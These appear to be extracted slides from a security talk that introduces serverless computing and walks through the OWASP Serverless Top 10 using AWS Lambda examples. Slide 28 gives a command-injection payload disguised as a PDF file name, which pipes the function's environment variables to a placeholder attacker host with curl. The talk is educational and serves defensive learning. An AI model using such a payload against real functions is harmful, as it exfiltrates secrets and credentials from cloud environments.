2. About me
Chandrapal Badshah
Security Enthusiast
Build, Break, Build guy
Would love to talk about plants ;)
Contact:
● twitter.com/@bnchandrapal
● github.com/Chan9390
6. But ...
Database
Web Server
CPU
Memory
Web Application
Static Files
Security: maintaining/updating operating
system with security patches, WAF/firewall
configuration, network monitoring, etc
9. Introduction to Microservices
Still a lot of
manual work
(depending on
the deployment
method) to
scale it.
Security tasks
depend on the
deployment
method too.
10. Introduction to Serverless
The phrase “serverless” doesn’t mean servers are no longer involved. It simply
means that developers no longer have to think that much about them.
Computing resources get used as services without having to manage around
physical capabilities or limits.
https://readwrite.com/2012/10/15/why-the-future-of-software-and-apps-is-serverless/
14. Who uses Serverless (AWS Lambda)
https://aws.amazon.com/lambda/resources/customer-case-studies/
15. Features of Function-as-a-Service
➔ Stateless functions
➔ Complete abstraction
➔ Instant, Scalable and event-driven
➔ Pay for what you use
➔ Free trials (AWS lambda gives 1,000,000* lambda triggers for free every
month)
➔ There is a default timeout
➔ The function guidelines are defined by the Cloud Service Provider
➔ Multiple Languages supported
21. Do you think OWASP Serverless Top 10
vulnerabilities are different than OWASP Top 10 ?
22. Do you think OWASP Serverless Top 10
vulnerabilities are different than OWASP Top 10 ?
● The way the apps are created are
similar to that of server based
applications
● There’s not a lot of data from
organizations on how they use
serverless functions in
production (and the security
issues faced)
24. A1: Injection
● Serverless doesn’t only support HTTP triggers, they support cloud storage
events, database changes, etc
● SQL/NoSQL injection
● OS Command Injection
● Code Injection - the severity depends on the permissions given to the
vulnerable lambda function
25. An example scenario: CV filtering system
User sends mail
with CV attached
Email reaches the
server
AWS SNS sends
notification to
Lambda
Lambda gets the
mail, parses it if
there’s a PDF
attachment
27. Checks if the file has file
name
Checks if the filename
ends with .pdf
Appends the filename
with /tmp
Executes a command
pdftotext
28. Payload (to print the environment variables)
foobar;env|curl -H "Content-Type: text/plain" -X POST -d
@- http://attacker.site/collector #.pdf
29. A2: Broken Authentication
● Functions are Stateless
● Multiple entry points, services, events and triggers and no continuous flow -
things can get worse
● Common example: the functions for internal use only are available to all
30. A3: Sensitive Data Exposure
● Depends on the architecture just like other server based applications
● Common example: having functions disclosing logs in some specific endpoint
37. A5: Broken Access Control
● Functions with over privileges
● If functions are allowed to access anything on the cloud account, then
attacker too if he exploits some vulnerability like code execution
38. A6: Security Misconfiguration
● Not just the function but how the function interacts with the environment
● Because of the complexity which is introduced due to increased
features/functions, it’s very easy for security misconfiguration
● Can lead to DoS/timeouts
● Example: Public S3 buckets
39. A7: Cross Site Scripting (XSS)
● Most common bug affects serverless functions as well
● Mostly due to lack of user input sanitization
40. Find the bug… (scenario)
User sends mail
Email reaches the
server
AWS SNS sends
notification to
Lambda
Lambda gets the mail,
parses it and sends
the message content
to moderator
dashboard
42. Find the bug…
Gets the message
content
Sends the message
content to dashboard
43.
44. A8: Insecure Deserialization
● Common in Python and NodeJS, but also affects Java and dotNET
● Mostly introduced due to insecure use of 3rd party libraries
48. A9: Using components with known vulnerabilities
● Using dependencies which are insecure
● Most commonly found
● Not every vulnerability will affect serverless functions
● Doesn’t always guarantee you remote exploitation
49. A10: Insufficient Logging and Monitoring
● Serverless auditing is even more difficult than traditional web applications
● Since the client interacts directly with the serverless functions there is no
place for implementing WAFs or any active monitoring systems
● This actually helps attackers
